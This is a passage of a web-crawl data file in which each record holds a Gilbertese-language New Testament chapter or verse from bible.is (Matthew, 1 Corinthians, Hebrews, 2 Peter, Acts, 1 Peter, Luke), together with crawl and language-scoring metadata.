n raraoma, ni kangai, \"Tera karara? ao, tera nimara? ao, tera karabaara?\" 32B'a a ukoukori baikai ni kabane aomata aika aki onimakina te Atua; ao Tamami are i karawa, E ataia ae kam kainanoi baikai ni kabane. 33Ma kam na ukoukora moa Uean te Atua ma ana raoiroi, ao E na karekei baikai ni kabane te Atua nako imi. 34Ma ngaia ae kam na tai iango n raraoma i bukin te ingabong b'a tera ae na riki iai: b'a e na bon iangoa arona te ingabong n raraomaeakinna. E a tau ana b'ai ni kararaoma te bong ae te bongina ngkana bon ana b'ai.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/6","date":"2016-05-26T23:13:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049276305.39\/warc\/CC-MAIN-20160524002116-00217-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":999,"character_repetition_ratio":0.052,"word_repetition_ratio":0.044,"special_characters_ratio":0.257,"stopwords_ratio":0.382,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngkana iai tangin temanna iroun raona, ao e aera b'a e na uotia nakon te kabowi ae kaainaki irouia taani bure, b'a e na motikaki taekana iai, ao e aki uotia nakoia ake a itiaki? 2Kam aki ataiia ake a itiaki b'a a nangi motika taekan aonnaba? Ao ngkana kam nangi motika taekan aonnaba, ao kam na aki kona ngkanne ni motiki taekan taian tangitang aika uarereke? 3Kam aki ataira b'a ti nangi motiki taekaia anera? Ao ngkana ngaia aei, ao tiaki b'a e a moamoa riki i roura b'a ti na motiki taekani b'ain te maiu aei? 4Ma ngaia ae ngkana e mena i roumi motikan taekani b'ain te maiu aei, ao e aera b'a kam na uoti aeka n tangitang akanne nako mataia aomata aika akea warekaia n te ekaretia b'a a na motiki taekaia? 5I taekina aei b'a kam aonga ni mamaa. E koaua b'a bon akea temanna ae rabakau i buakomi ae e kona ni karekea te baire ae raoiroi i marenaia raona n onimaki, 6nakon ae e uota tangina anne nakon te kabowi ao e tei ma te aomata are e tang i bukina, b'a e na motikaki taekana irouia aomata aika tiaki kaain te ekaretia? 7Ngkana e koaua b'a bon iai tangin temanna i bukin temanna, ao kaotana ngkanne b'a iai kab'akami. Kam aera ngkai kam aki kataua te m'akuri ae buakaka ae karaoaki nako imi? Kam aera ngkai kam aki katau m'am'anakimi? 8Ma boni ngkami aika kam karaoi m'akuri aika bubuaka, ma m'akuri ni m'am'anateaba; ao kam boni karaoi nakoia raomi n onimaki. 9Kam ataiia aomata aika buakaka b'a e aki reke i rouia uean te Atua? Kam na tai kababaingkami; e aki reke uean te Atua irouia taani wene ni bure, ma taan taromauri bouannanti, ma aomata aika aki kakaonimaki nakon aia berita ni mare, ma mm'aane aika baka ni kan aine, ma mm'aane aika bure ma mm'aane, 10ma taan ira, ma akana mataai ni kani b'aib'ai, ma akana b'aina te mamanging, ma taan taetae n iowawa, ma taan anai b'aai n te aro n iowawa. E aki kona n reke uean te Atua irouia aomata aika ai aroia aikai. 11Ao akanne anuani maiuia ngkoa tem'angina i buakomi. Ma kam a tia n tebokaki; kam a katabuaki b'a ana b'ai te Atua, ao a tia ni kaetaki aromi n reitaki ma te Atua n aran ara UEA are Iesu, ao iroun naba Tamnein Atuara. 12E taku ana taeka temanna, \"Akea tuaau ngkana I karaoi b'aai nako.\" Eng; ma a aki bane ni manena i bukim. I kona ni kangai, b'a akea tuaau ngkana I kani karaoi b'aai nako, ma akea te b'ai teuana ae na tautaeka i aou. 13Ao temanna e taku, \"Te am'arake i bukin te biroto, ao te biroto i bukin te am'arake.\" Eng; ma te Atua E na kamaunai ni kauoua. B'a te rab'ata tiaki i bukin te wene ni bure, ma bon i bukin te UEA; ao te UEA i bukin te rab'ata. 14E a manga kamaiuaki te UEA mai buakoia maate iroun te Atua, ao E na boni kamaiura naba ni m'aakana. 15Kam aki atai rab'atami b'a b'ain rab'atani Kristo? I a anai b'ain rab'atani Kristo ni karaoi b'a b'ain rab'atan te kabekaau? I bon aki kona! 16Kam aki ata te aomata ae nim ma te kabekaau b'a kanga temanna n aomata ngaia ma ngaia? B'a e kangai taekana are koreaki, \"A na riki b'a kanga temanna n aomata naka uoman.\" 17Ma te aomata ae nim ma te UEA ao kanga ai aron ae ti teuana tamneia. 18Kam na biri nako man te wene ni bure. Buure nako aika e karaoi te aomata a mena i tinanikun te rab'ata; ma ane wene ni bure ao e bure nakon oin rab'atana. 19Kam aki atai rab'atami b'a ana um'antabu te Tamnei are Raoiroi, are maeka i nanomi, are reke i roumi mairoun te Atua? Ai tiaki ami b'ai ngkami. 20B'a kam kaboaki, ao e a tia ni b'aka boomi; kam na neboa te Atua n rab'atami.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/6","date":"2016-05-29T14:01:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049279525.46\/warc\/CC-MAIN-20160524002119-00065-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":668,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.373,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 2:33ao ti na iranira ni kareke maiura ngkana ti aki mutiakina te aro ni kamaiu ae kakannato aei? E moa n taekinaki iroun te Uea, ao e kakoauaki nako ira irouia ake a ongo; Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/2\/3","date":"2016-05-27T01:07:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049276415.60\/warc\/CC-MAIN-20160524002116-00239-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":0.999990344,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999903440475464}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mairoun Timon Betero, ae ana toro ma ana tia tuatua Iesu Kristo, nakoia akana reke i rouia te onimaki ae kakawaki ae ti te arona ma ara onimaki, ae reke n ana raoiroi Atuara ma ara Tia Kamaiu are Iesu Kristo. 2E na kabatiaki nakoimi te akoi ma te raoi n ataakin te Atua ma Iesu are ara Uea. 3E a tia te Atua n oini m'aakana n anganira b'aai ni kabane i bukin te maiu ni Kristian, n ataakin Teuare weteira b'a ti na buokanib'ai ma Ngaia n arona ma kateina ae e raoiroi; 4ake E anganira iai taeka n akoi ake a kakawaki ma ni moa ni kakannato, b'a kam aonga ni biri nako man te kaib'ab'aru ae kamamate ae i aon te aba, ao kam riki b'a taani buokanib'ai n te aro n Atua. 5Ma ngaia ae kam na kataa ami kabanea ni kona n raona ami onimaki n te raoiroi, n raona ami raoiroi n te atatai; 6n raona ami atatai n te taotaonaki n nano mani baika e tangiri te rab'ata; n raona ami taotaonaki n nano mani baika e tangiri te rab'ata n te nanom'aka; n raona ami nanom'aka ni maiumi ni Kristian; 7n raona maiumi ni Kristian n akoaia raomi n onimaki; n raona akoaia raomi n onimaki n te tangira. 8B'a ngkana a reke iroumi baikai, ni bati, ao kam na riki ni bongana ma n uaana n ataakin ara Uea are Iesu Kristo. 9Ma ane akea i rouna baikai, ao e reme ana taratara n te aro are e aki kona n nora ae raroa, ao e m'aninga are e a tia ni kaitiakaki man ana bure ake nikawai. 10Ma ngaia aei, taari, kam na rangi ni kekeiaki m'aaka ni kaotingkami ni maiumi b'a kam boni weteaki ma n rineaki; b'a ngkana kam karaoa aei, ao kam na bon aki b'aka. 11N te aro aei, ao kam na anganaki ni kabatiaki te kona n rin n uean ara Uea ao ara Tia Kamaiu are Iesu Kristo, are ueana are aki toki. 12Ma ngaia ae iai nanou b'a N na kauringngkami n taai nako ni baikai, e boni ngae ngkana kam a kaman atai ao kam nene ni matoa n te koaua ane e a tia n reke iroumi. 13I taku b'a e bon riai, ngkai I teimatoa ni maiu, b'a N na kakaraoa ae kam na ururing iai baikai; 14ngkai I ataia b'a e a kaan te tai are N na kitana iai te maiu aei, n ai aron are kaotaki nako iu iroun ara Uea are Iesu Kristo. 15Ao N na kataa au kabanea ni kona ni karekea te anga are kam na kona iai n ururing baikai n taai nako i mwini mateu. 16B'a ti aki taekini karaki aika oteaki n te aro n rabakau, ngke ti tuangngkami m'aakan ma rokon ara Uea are Iesu Kristo; ma ti bon nora kakannatona. 17B'a E anganaki te karineaki ma te neboaki mairoun te Atua are te Tama, ngke e roko te b'ana nakoina mairoun te Mimitong are Moan te Tamaroa, are kaangai, \"Natiu ae tangiraki Teuaei, ae I kakatonga i rouna!\" 18Ao ti ongo te b'ana anne are roko mai karawa, b'a ti mena ma Ngaia i aon te maunga are tabu. 19Ma ngaia ae ti aki nanokokoraki riki n te rongorongo are a taekinna burabeti. E raoiroi iroumi b'a kam na ongo iai, i bukina b'a ai aron te taura ae ura n te tabo ae roo ni karokoa ae e nang oti taai ao e oota te itoi ni ngaina i nanomi. 20Te b'ai ae moamoa riki b'a kam na ata aei: b'a akea te taetae ni burabeti n te B'aib'ara ae konaaki ni kab'arab'araaki nanona iroun te aomata temanna n ti ngaia; 21b'a bon akea te taetae ni burabeti ae roko n te tai teuana man oin nanon te aomata; ma aomata a taekina te taeka are roko mairoun te Atua, ni kairaia iroun te Tamnei are Raoiroi.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/2Pet\/1","date":"2016-05-30T16:51:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464051036499.80\/warc\/CC-MAIN-20160524005036-00236-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":661,"character_repetition_ratio":0.055,"word_repetition_ratio":0.003,"special_characters_ratio":0.246,"stopwords_ratio":0.424,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1A ongo taan tuatua ma taari ake a mena i Iutaia, b'a a tia naba aomata ake tiaki I-Iutaia ni butim'aea i nanoia ana taeka te Atua. 2Ngke e nako Ierutarem Betero, ao e kauntaeka ma te koraki n I-Iutaia ake a tangiriia aomata ake tiaki I-Iutaia b'a a na korotabonim'aneaki. 3A kaangai, \"Ko kawariia aomata ake a aki korotabonim'aneaki, ao ko am'arake ma ngaiia!\" 4E karaki ngkanne Betero, ao e karaua n raranga taekan te baere riki ni moa mai moana, ao aei ana taeka: 5Ngke I mena n te kaawa are Iobe, ao I tataro; ao kanga ai aron ae I kamiiaki: I nora te b'ai teuana ae kanga ai aron taraan te kunnikai ae ab'ab'aki ae nnaki rikaaki ni maninganingana ake aua mai karawa, ao e toki i rarikiu. 6Ngke I karaua n taraia, ao I nooriia manin aonnaba aika kakaeai waeia, ma maan aika aki manana, ma maan aika kawakawa, ma mannikiba. 7Ao I ongo te b'ana ae kaangai nako iu, \"Betero, teirake! tiring ao kaang.\" 8Ma I taku, \"Te UEA, I aki kona! B'a bon akea te b'ai teuana ae aki itiaki ke ae kam'ara ae e a tia n rin i wiiu.\" 9Ma e a manga taetae naba te b'aana arei mai karawa ao e kaangai, \"Ane E kaitiakia te Atua, ao ko na aki atongnga b'a e aki itiaki.\" 10Tenua ana tai n roko te baerei, ao a manga bane n irakeaki b'aai akekei nako karawa. 11Ao noria, n te tai naba arei ao a roko teniman aomata n te auti are I mena iai; a kanakoaki nako iu mai Kaitareia. 12E tuangai te Tamnei b'a N na iriia n aki nanokokoraki. A irai naba taari aika onoman aikai, ao ti nako n rin n ana auti Korenerio. 13Ao ngaia e tuangiira arona ngke e nora te anera b'a e tei i nanon ana auti, ao e kaangai, 'Kanakoa temanna nako Iobe b'a e na kaoa Timon, are arana teuana Betero. 14E na taetae nako im n taeka ake ko na kamaiuaki iai, ma am utu ni kabaneia.' 15Ao ngke I moana au kakarabakau, ao E roko i aoia te Tamnei n aron are e a tia n riki nako ira rimoa. 16Ao I uringa ana taeka te UEA ngke E kaangai, \"E boni b'ab'abetito Ioane n te ran, ma ane kam na b'abetitoaki n te Tamnei are Raoiroi.\" 17Ma ngaia are, ngkana a anganaki aomata aika tiaki I-Iutaia te b'ai n tituaraoi iroun te Atua, ae ti te bo arona ma are E anganira, ngke ti onimakina te UEA are Iesu Kristo, ao antai ngai b'a N na tuka te Atua? 18Ngke a ongo baikekei, ao e toki aia kauntaeka; ao a karaoiroa te Atua, ni kaangai: \"E anganiia naba aomata aika tiaki I-Iutaia te Atua rairan te nano nakon te maiu!\" 19A kauamaaeaki nako taan onimaki n tain te b'ainikirinaki are e mate iai Tetebano. Iai ake a nako n toki i Boinike, ao i Kubero, ao i Antioka, ao a tataekina ana taeka te Atua nakoia ti I-Iutaia. 20Ma iai taan onimaki tem'angina aika I-Kubero, ao I-Kurene, ake a nako Antioka ao a tataekina te UEA are Iesu nakoia I-Erene naba. 21A buokaki ni m'aakan te UEA, ao a onimaki aomata aika bati, ao a rairaki nakon te UEA. 22A ongo taekaia uakekei kaain te ekaretia i Ierutarem, ma ngaia are a kanakoa B'arenaba b'a e na nako Antioka. 23Ngke e roko ao e nora aron ana akoi te Atua nakoia, ao e kim'areirei; ao e kaungai nanoia ni kabane b'a a na nim ma te UEA ma nanoia ni koaua. 24B'a te aomata ae e raoiroi B'arenaba, ao e on n te Tamnei are Raoiroi, ao bon te tia onimaki ni koaua. Ao a bati aomata ake a tib'a onimakina te UEA. 25E nako ngkanne B'arenaba nako Tareto b'a e na ukoukora Tauro iai. 26Ao ngke e reke i rouna, ao e kairiia nako Antioka. Teuana aia ririki ni bobotaki ma kaain te ekaretia ikekei, ao a reireia aomata aika bati. Antioka bon te tabo are a moa n atongaki iai taan onimaki b'a Kristian. 27Ni boong akekei ao a roko i Antioka burabeti mai Ierutarem. 28E teirake temanna i rouia ae arana Akabo, ao e taetae ni m'aakan te Tamnei b'a e na roko te rongo ae korakora i aonnaba ni bane; ao e koro bukin aei n ana tai n uea Keraurio. 29A reke nanoia taan onimaki i Antioka b'a a na kanakoa aia buoka n aron are e kona n reke iroun temanna ma temanna, nakoia taari ake a maeka i Iutaia. 30A boni karaoia, ao a angani B'arenaba ma Tauro b'a a na nako n nikiri irouia unimm'aane.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/11","date":"2016-05-27T18:24:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049276964.77\/warc\/CC-MAIN-20160524002116-00062-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":784,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 BETERO 3:1010B'a e kaangai te B'aib'ara, \"Ane kani maiu ni kukurei ma ni kan noori boong aika raraoi, e na kawakina newena man te taetae ae buakaka, ao riana man taekinan te kewe. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/1Pet\/3\/10","date":"2016-05-31T10:30:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464051268601.70\/warc\/CC-MAIN-20160524005428-00049-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":0.9998790026,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.999879002571106}","num_words":48,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae e riai b'a ti na tau ni kamatoai baika ti a tia n ongo, b'a ti kawa ni beibeti nako. 2B'a ngke e noraki aron te taeka are taekinaki irouia anera b'a e koaua, ao ngke a reke booni buure ni kabane ma aki ongeaba ni kabane aika booia aika riai, 3ao ti na iranira ni kareke maiura ngkana ti aki mutiakina te aro ni kamaiu ae kakannato aei? E moa n taekinaki iroun te Uea, ao e kakoauaki nako ira irouia ake a ongo; 4ao te Atua E raoniia ni kakoaua n arona ni karaoi kanikina ma kamimii ma m'akuri aika m'aka ma tib'akini b'aai n tituaraoi ake mairoun te Tamnei are Raoiroi. 5B'a te Atua E aki kaki i aani m'akaia anera taekan te aonnaba ae nangi roko, ae ti taekinna. 6Ma e taetae temanna n te tabo teuana n te B'aib'ara ni kangai: \"Tera te aomata, ngkai Ko ururingnga? Ke natin te aomata, ngkai ko kakawaria? 7Ko karinanoa riki nakoia anera i nanon te tai ae aki maan; Ko baunna b'a kanga te uea n te neboaki ma te karineaki. 8Ko kaki b'aai ni kabane i aani waena.\" B'a ngke E kaki b'aai ni kabane i aana, ao bon akea ae E katikua n aki kaki i aana. Ma ngkai, ti tuai n nori b'aai ni kabane i aana. 9Ma ti nora Iesu, are karaoaki ni karinanoaki riki nakoia anera i nanon te tai ae aki maan, b'a E aonga ni mate i bukiia aomata ni kabaneia; ao e riki aei man nanon te Atua n akoi. Ti noria ngkai b'a E a baunaki n te neboaki ma te karineaki i bukin arona ni maraki ma ni mate. 10Bon te b'ai ae riai iroun te Atua, are Ngaia ae kariki b'aai ma ni kateimatoai aroia, b'a E na karaoa Iesu b'a E na bobonga raoi arona n te maraki, b'a a aonga natin te Atua aika bati ni buokanib'ai ma Iesu ni mimitongin te Atua. B'a Iesu boni Ngaia ae kairiia nakon te kamaiuaki. 11B'a Iesu ni botaki ma ake a riki n tabu maiuia i Rouna b'a ana b'ai te Atua a bane n nako man te oi ae ti teuana. Ma ngaia ae E aki mamaa n atongiia b'a tarina, 12ngkae E kangai \"N na taekina aram nakoia tariu; N na anenea aram i buakon aia botaki n taromauri.\" 13Ao E kangai naba: \"N na onimakinna.\" Ao E a manga kangai naba, \"Noria, Ngai ma ataei aika E anganai te Atua.\" 14Ma ngaia ae ngkai a buokanib'ai ataei n te raraa ma te iriko, ao Iesu E buokanib'ai naba ma ngaiia ni baikai, b'a e aonga n riki matena b'a kataean ana kai teuare iai m'aakana i aon te mate, ao teuaei bon te riaboro; 15ao n te aro aei E a kainaomataia iai aomata ni kabaneia aika a toronaki n aia bongi ni maiu ni kabane ni makan te mate. 16B'a E aki tauia anera ni kamaiuia, ma E tauia ana kariki Aberaam ni kamaiuia. 17Ma ngaia are e riai i Rouna b'a E na riki n ai aroia tarina ni b'aai ni kabane, b'a E aonga n riki b'a aia Ibonga ae Kakannato ae nanoanga ma ni kakaonimaki ni baika reitaki ma te Atua, n anga te karea n raoi i bukin aia bure aomata. 18B'a ngkae E a tia ni maraki ao ni kaririaki, ao E boni kona ni buokiia akana kaririaki.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/2","date":"2016-05-31T08:03:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464051196108.86\/warc\/CC-MAIN-20160524005316-00066-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":574,"character_repetition_ratio":0.051,"word_repetition_ratio":0.004,"special_characters_ratio":0.251,"stopwords_ratio":0.43,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao rimwi E nako Iesu ni kawari kaawa ma maeka, ni kab'arab'ara, ao n uota te rongorongo ae raoiroi are taekan uean te Atua. Raona uake tengauni ma uoman, 2ma aine tabem'aang ake a tia ni kamaiuaki mairouia anti aika buakaka ao man aorakiia; are Nei Maria are te I-M'aketara, are a tia n oti nako mai rouna itiman taimonio, 3ma Nei Ioana, are buni Kuta are ana touati Erote, ma Tutanna, ma aine riki aika bati ake a tia ni buokiia ni baike a kainanoi. 4A tabe n rooroko aomata iroun Iesu man te kawa teuana i mwin teuana; ao ngke a botaki ni m'aiti, ao E taekina te rongorongo ni kabotau aei Iesu nako ia: 5E oti nako te tia ununiki ni kamaae ana koraa; ao ngke e kamaae a b'aka tabeua ri rarikin te kawai, ao a touaki, ao a kang mannikiba. 6Ao a b'aka tabeua i aon te ririb'a; ao ngke a riki rake, ao a rai i bukina b'a akea te m'aim'ai iai. 7Ao a b'aka tabeua i buakoni kaai aika kateketeke; ao a riki rake, ao a kariki uaa aika tatabebubua. 8Ao a b'aka tabeua i aon te tano ae raoiroi ao a riki rake, ao a kariki uaa aika tatabebubua. Ao E kanenea riki b'anaana ao E taku, \"Ane iai taningana n ongo, ao ke e ongo!\" 9Ao ngke a titirakina Iesu ana reirei b'a tera nanon te rongorongo ni kabotau arei, 10ao Ngaia E taku, Kam anganaki te kona n atai baike a raba ake b'ain uean te Atua; ma a anganaki aomata aika bati n taeka ni kabotau, b'a a na taratara ma a na aki noraba, ao a na ongora ma a na aki atatai. 11Aio nanon te rongorongo ni kabotau; Te koraa bon ana taeka te Atua. 12Ake a b'aka ri rarikin te kawai bon aomata ake a tia n ongo; ao e roko te riaboro ao e uota nako te taeka mai nanoia, b'a a aonga n aki onimaki ma n aki kamaiuaki. 13Ao ake i aon te ririb'a bon te koraki ake a ongo te taeka ao a kaaki i nanoia ma te kim'areirei; ti te bo te koraki aei ma koraa ake akea wakaaia: a onimaki i nanon te tai ae aki maan, ma ngke a kaririaki ao a b'aka. 14Ao i bukiia ake a b'aka i buakoni kaai ake a kateketeke, akanne bon te koraki ake a ongo ma a karib'aki n iango n raraoma i bukini b'ain te maiu aei, ma kaub'aina ao kakukureina, ao a aki kaoti uaaia aika raraoi. 15Ao i bukiia ake n te tano are raoiroi, akanne bon te koraki ake a ongo te taeka ao a taua ni kamatoa ma te nano ae koaua ae raoiroi, ao a kariki uaa i bukin aia taotaonaki n nano. 16Akea ane kaura te taura ao e rabunna n te b'aketi, ke e kaaki i aan te kainiwene, ma e katokaa i aoni nena, b'a e aonga n noraki ootana irouia aomata ake a rin. 17B'a akea ae raba ae na aki kaotaki; ao akea ae karabaki ae na aki ataaki ao e na aki oti. 18Kam na tarataraingkami ngkanne n aromi n ongora: b'a ane e na anganaki riki teuare iai ana b'ai, ao ane akea ana b'ai, ao e na anaaki mai rouna are e taku b'a ana b'ai. 19Ao ngkanne, a kawara Iesu tinana ma tarina, ma a aki kona n roko i rarikina b'a e bati te aomata. 20Ao a tuangnga tabem'aang ni kangai, \"A tei i tinaniku tinam ma tarim b'a a kan noriko.\" 21Ma E taku nako ia, \"Tinau ma tariu bon aomata ake a ongo ana taeka te Atua ao a karaoia.\" 22N te bong teuana ao E toka Iesu ma ana reirei i aon te booti, ao E taku nako ia, \"Ti a nako n ri nukan te nama nakon iterana are teuana.\" Ma ngaia are a nako. 23Ao ngke a ieie ao E matu Iesu. Ao e kare te ang ae rangi ni korakora n ruona aon te nama, ao e a kaani kebo aia booti n te ran, ao a reke n te kanganga. 24Ao a kawaria ni kautia, ao a kangai, \"Te Tia Reirei, te Tia Reirei, ti mate!\" Ao E uti, ao E takua te ang ma naao ake a buubura; ao e toki karen te ang, ao e wene n rau te ran. 25Ao E taku nako ia, \"A nga ami onimaki?\" Ao a maaku ma ni mimi, ao a i taetae i rouia ni kangai, \"Antai Teuaei, b'a E taetae nakon te ang ma te nao, ao a karaoa tuangaia!\" 26Ao E ie nako Iesu ma ana reirei nako abaia I-Kerata, are e kaitaraa Kariraia. 27Ao ngke E aerake nako aon te aba, ao E aitara ma te aomata ae taniaki irouia taimonio ae nako man te kawa; e a maan teuaei n aki kukunnikainna, ao e mamaeka n aia tabo maate ma tiaki n te auti. 28Ngke e nora Iesu, ao e takaarua ao e b'aka i matana, ao e kangai n te b'ana ae korakora, \"Tera am b'ai i rou, Iesu, are Natin te Atua are Moan te Rietaata? I butiko b'a Ko na aki kamarakai!\" 29B'a E a tia Iesu n tuanga te anti are kam'ara b'a e na oti nako mai rouna. B'a e a m'aiti ana tai teuaei n taniaki iroun te anti arei; n taai ake e taniaki iai, ao e kabaeaki n taurekereke ma b'aai ni kabae wae, ma e urui b'aai ni kabaebae ao e kairaki nakon te rereua iroun te taimonio. 30E titirakinna ngkanne Iesu ni kangai, \"Antai aram?\" Ao e taku, \"Arau Rekeon.\" B'a a m'aiti taimonio ake a tia n rin i nanona. 31Ao taimonio, a butia Iesu b'a E na aki kanakoia nako Abuto! 32Iai nanai ni beeki aika bati ake a am'arake ikekei i rarikin te maunga n are e karaabee; ao a butiia b'a E na kanakoia b'a a na rin i nanoia. Ao Ngaia, E kariaia. 33A oti nako ngkanne taimonio mairoun teuarei ao a rin i nanoia beeki, ao a toua are e rangi ni karaabee nako nanon te nama ao a b'ab'a. 34Ngke a nora te b'ai are e a tia n riki uaake a tararuaia beeki, ao a biri nako, ao a taekina te baerei n te kawa ao n taabo ake a maekanaki i marenaua. 35A nako aomata b'a a na nora te baere e a tia n riki, ao a roko iroun Iesu, ao a nora te aomata are a tia n oti nako mai rouna taimonio, b'a e tekateka i rarikini waen Iesu: e kunnikainna ao e a eti ana iango; ao a maaku aomata. 36Ao te koraki ake a tia n nora aroni kamaiuan teuare taniaki irouia taimonio, a tuangiia aomata ake a roko aron Iesu ngke E kamaiuia. 37Ao aomata ni kabaneia ake kaain te tabo are abaia I-Kerata, a bubutiia b'a E na kitaniia; b'a a taonaki n te maaku ae korakora; ma ngaia are E toka Iesu i aon te booti ao E kataua te nako. 38E bubuti teuare a oti nako mai rouna taimonio b'a e kan iria; ma E kanakoa Iesu, ao E taku, 39\"Ko na okira mwengam, ao taekini b'aai ni kabane ake E a tia ni karaoi te Atua nako im.\" Ao e nako n tataekin aroni baike E karaoi Iesu nako ina. 40Ngke E oki Iesu nakon iteran te nama are teuana, ao E butim'aeaki irouia aomata ma te kukurei b'a a bane ni kakantaningaia. 41Ao noria, e roko te aomata ae arana Iairo, ae te tia taua taekani m'aneabaia I-Iutaia; e b'aka ni bobaraaki i rarikini waen Iesu, ao e butiia b'a E na roko n ana auti. 42B'a iai natina te aine ae ti temanna, ae tao ai tebwi ma uoua ana ririki, ao e a kaani mate. Ngke E nako Iesu ao a karib'a aomata aika m'aiti. 43I buakoia aomata aika m'aiti akekei ao iai te aine ae aoraki n aine i nanon te maan ae tebwi ma uoua te ririki ae e a tia ni kabane ana b'ai n anganiia taokita, ao akea ae kona ni katoka aorakina. 44E roko n ri akuun Iesu, ao e riinga rabin ana kunnikai; ao n te tai naba arei, ao e toki aorakina n aine. 45Ao E taku Iesu, \"Antai ae riingai?\" Ngke a bane n taku b'a tiaki ngaiia ao e taku Betero, \"Te Tia Reirei, a otab'aniniiko aomata ao a karib'ako!\" 46Ma E taku Iesu, \"Iai temanna ae riingai, b'a I namakina ae e nako mai rou te m'aaka.\" 47Ngke e ataia neierei b'a e aki raba, ao e roko n ruru b'a e maaku, ao e b'aka i matana, ao e tuangnga i mataia aomata ni kabaneia bukin riingana ao arona ngke e waekoa n toki aorakina. 48Ao E taku Iesu nako ina, \"Natiu, e kamaiuko am onimaki; naako ma te rau!\" 49Ngke E kume n taetae Iesu, ao e roko te mm'aane temanna man ana auti te tia taua taekani m'aneabaia I-Iutaia, ao e taku nako ina, \"E a mate natim te aine! Tai manga katabetabea te Tia Reirei iai.\" 50Ma ngke E ongo aei Iesu ao E taku nakon Iairo, \"Tai maaku; ko na ti onimaki, ao e na manga uti natim.\" 51Ngke E roko Iesu n te auti, ao E aki kariaia b'a e na rin temanna ma Ngaia, ma ti Betero, Ioane ao Iakobo, ao taman ma tinan te teei. 52Ao a bane n tang ao a tanginiwenei; ma E taku Iesu nako ia, \"Tai tang, b'a e aki mate te teei ma e matu.\" 53Ao a ngare ni kakanikoa Iesu, b'a a ataia ae e mate. 54Ma Iesu, E taua bain neierei ao E taku n te b'ana ae korakora, \"Te teteeinaine, tei rake!\" 55Ao e a manga uti, ao e tei rake naba ngkekei; ao E tua Iesu b'a e na anganaki neierei te am'arake b'a e na kanna. 56Ao a mimi ana karo neierei; ma E tuangiia Iesu b'a akea temanna ae a na kaongoa taekan te baere karaoaki.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/8","date":"2016-05-24T12:34:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049270555.40\/warc\/CC-MAIN-20160524002110-00119-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 